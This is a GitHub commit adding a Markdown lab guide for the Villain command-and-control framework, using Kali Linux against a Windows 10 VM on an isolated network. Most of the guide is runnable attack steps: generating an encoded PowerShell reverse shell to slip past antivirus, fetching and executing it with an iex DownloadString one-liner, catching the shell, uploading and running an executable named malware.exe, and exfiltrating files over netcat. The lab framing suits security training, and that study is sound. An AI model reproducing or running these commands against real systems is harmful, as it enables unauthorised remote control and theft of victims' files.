Skip to content

Commit 35147b6

Browse files
authored
Create Villain.md
1 parent f8c5bb6 commit 35147b6

File tree

1 file changed

+212
-0
lines changed

1 file changed

+212
-0
lines changed

Villain.md

Lines changed: 212 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,212 @@
1+
# Simple Villain Framework Lab Guide
2+
3+
A step-by-step lab using **Kali Linux** (attacker) and **Windows 10** (victim) in VirtualBox, from payload gen to file transfers.
4+
5+
---
6+
7+
## 1. VirtualBox VM & Networking Setup
8+
9+
1. **Create VMs** in VirtualBox:
10+
11+
* **Kali Linux**
12+
* **Windows 10**
13+
2. **Set both adapters** to an **Internal Network** (or Host-Only) named `LabNet`.
14+
3. **Assign static IPs** on the same `/24` subnet:
15+
16+
* **Kali** (terminal):
17+
18+
```bash
19+
sudo ip addr add 192.168.56.10/24 dev eth0
20+
sudo ip link set eth0 up
21+
```
22+
* **Windows 10** (Control Panel → Network Adapter → IPv4 settings):
23+
24+
```text
25+
IP address: 192.168.56.20
26+
Subnet mask: 255.255.255.0
27+
Gateway/DNS: (leave blank)
28+
```
29+
4. **Verify connectivity**:
30+
31+
```bash
32+
# On Kali
33+
ping 192.168.56.20
34+
```
35+
36+
You should see replies.
37+
38+
---
39+
40+
## 2. Prepare Kali Attacker
41+
42+
1. **Update & upgrade**:
43+
44+
```bash
45+
sudo apt update && sudo apt upgrade -y
46+
```
47+
2. **Clone Villain**:
48+
49+
```bash
50+
git clone https://github.com/yourusername/Villain.git
51+
cd Villain
52+
```
53+
54+
> If GitHub is blocked (e.g. college Wi‑Fi), use a VPN or your phone’s hotspot.
55+
3. **(Optional) Install Python deps**:
56+
57+
```bash
58+
pip install -r requirements.txt
59+
```
60+
61+
If it fails, skip to next step.
62+
4. **Start Villain**:
63+
64+
```bash
65+
python villain.py
66+
```
67+
68+
You’ll see the `villain>` prompt.
69+
70+
---
71+
72+
## 3. Build & Deliver Your Payload
73+
74+
### 3.1 Generate the reverse shell
75+
76+
```
77+
villain> generate payload=<OS/handler/template> lhost=<YOUR_IP_or_interface> [encode|obfuscate]
78+
```
79+
80+
| Element | Meaning | Example |
81+
| ------------- | ---------------------------- | ------------------------- |
82+
| `OS` | Target OS family | `windows` |
83+
| `handler` | Connection type | `reverse_tcp` (stable) |
84+
| `template` | Payload script | `powershell` |
85+
| `lhost` | Your Kali IP or interface | `192.168.56.10` or `eth0` |
86+
| `[encode]` | Simple Base64-style encoding | optional (helps evade AV) |
87+
| `[obfuscate]` | String-twisting for stealth | optional |
88+
89+
**Example:**
90+
91+
```bash
92+
villain> generate payload=windows/reverse_tcp/powershell lhost=192.168.56.10 encode
93+
```
94+
95+
This writes `payload.ps1` for the Windows VM.
96+
97+
### 3.2 Host & run the payload
98+
99+
1. **On Kali**, serve it over HTTP:
100+
101+
```bash
102+
cp Core/payloads/windows/reverse_tcp/powershell.ps1 ~/payload.ps1
103+
cd ~
104+
python3 -m http.server 8000
105+
```
106+
2. **On Windows 10** (PowerShell as Admin):
107+
108+
```powershell
109+
iex (New-Object Net.WebClient).DownloadString('http://192.168.56.10:8000/payload.ps1')
110+
```
111+
112+
This runs the reverse shell back to Kali.
113+
114+
---
115+
116+
## 4. Catch & Use Your Shell
117+
118+
1. **List sessions**:
119+
120+
```bash
121+
villain> sessions
122+
```
123+
2. **Enter the shell**:
124+
125+
```bash
126+
villain> shell <SESSION_ID>
127+
```
128+
129+
You get a `PS C:\>` prompt. Use `exit` or Ctrl+C to return.
130+
131+
---
132+
133+
## 5. Uploading Files to the Victim
134+
135+
```
136+
villain> upload <local_path_on_kali> <remote_path_on_windows>
137+
```
138+
139+
* **Example:**
140+
141+
```bash
142+
villain> upload /home/kali/tools/malware.exe C:\Users\Public\malware.exe
143+
```
144+
* Then inside your shell:
145+
146+
```powershell
147+
PS C:\> & 'C:\Users\Public\malware.exe'
148+
```
149+
150+
---
151+
152+
## 6. Downloading Files from the Victim
153+
154+
Villain has no built-in “download,” but you can exfiltrate:
155+
156+
1. **On Kali**, listen:
157+
158+
```bash
159+
nc -lvp 9001 > secret.txt
160+
```
161+
2. **In Windows shell:**
162+
163+
```powershell
164+
PS C:\> nc 192.168.56.10 9001 < C:\Users\Public\secret.txt
165+
```
166+
167+
Alternatively, spin up an HTTP server on Windows:
168+
169+
```powershell
170+
PS C:\Users\Public> python3 -m http.server 8000
171+
```
172+
173+
Then on Kali:
174+
175+
```bash
176+
wget http://192.168.56.20:8000/secret.txt -O secret.txt
177+
```
178+
179+
---
180+
181+
## 7. Cleaning Up & Tips
182+
183+
* **flee**: Exit without killing sessions:
184+
185+
```bash
186+
villain> flee
187+
```
188+
* **purge**: Wipe saved implant metadata:
189+
190+
```bash
191+
villain> purge
192+
```
193+
194+
**Pro Tips:**
195+
196+
* Verify your **lhost** and subnet before generating.
197+
* Use `backdoors` to list re-usable payloads.
198+
* Keep Kali’s firewall off on the lab network.
199+
200+
---
201+
202+
## 8. Broadcast Messages with `#`
203+
204+
You can send a chat message to all connected sibling servers by prefixing with `#`:
205+
206+
```bash
207+
villain> # Hey team, switch to backup C2 channel
208+
```
209+
210+
---
211+
212+
That’s the full lab: network setup, payload gen, shell, file IO, and messaging. Enjoy your ethical testing!

0 commit comments

Comments
 (0)